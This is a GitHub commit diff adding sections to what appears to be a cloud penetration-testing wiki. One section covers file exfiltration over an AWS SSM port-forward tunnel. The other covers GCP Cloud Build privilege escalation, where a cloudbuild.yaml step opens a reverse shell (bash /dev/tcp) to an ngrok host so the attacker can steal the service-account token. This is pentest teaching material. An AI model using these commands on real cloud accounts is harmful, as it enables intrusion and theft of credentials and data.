You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+52Lines changed: 52 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -138,6 +138,54 @@ Note that the SSL connections will fail unless you set the `--insecure-skip-tls-
138
138
139
139
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
140
140
141
+
---
142
+
143
+
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
144
+
145
+
If you only need to forward **one TCP port from the EC2 instance to your local host** you can use the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
155
+
156
+
Common use cases:
157
+
158
+
***File exfiltration**
159
+
1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
160
+
161
+
```bash
162
+
python3 -m http.server 8000
163
+
```
164
+
165
+
2. From your workstation fetch the files through the SSM tunnel:
166
+
167
+
```bash
168
+
curl http://localhost:8000/loot.txt -o loot.txt
169
+
```
170
+
171
+
***Accessing internal web applications (e.g. Nessus)**
Copy file name to clipboardExpand all lines: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
+18-5Lines changed: 18 additions & 5 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -15,15 +15,28 @@ For more information about Cloud Build check:
15
15
With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\
16
16
Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change).
17
17
18
+
#### Direct exploitation via gcloud CLI
19
+
20
+
1- Create `cloudbuild.yaml` and modify with your listener data
21
+
```yaml
22
+
steps:
23
+
- name: bash
24
+
script: |
25
+
#!/usr/bin/env bash
26
+
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
27
+
options:
28
+
logging: CLOUD_LOGGING_ONLY
29
+
```
30
+
2- Upload a simple build with no source, the yaml file and specify the SA to use on the build:
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
19
37
20
38
For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
21
39
22
-
### `cloudbuild.builds.update`
23
-
24
-
**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
0 commit comments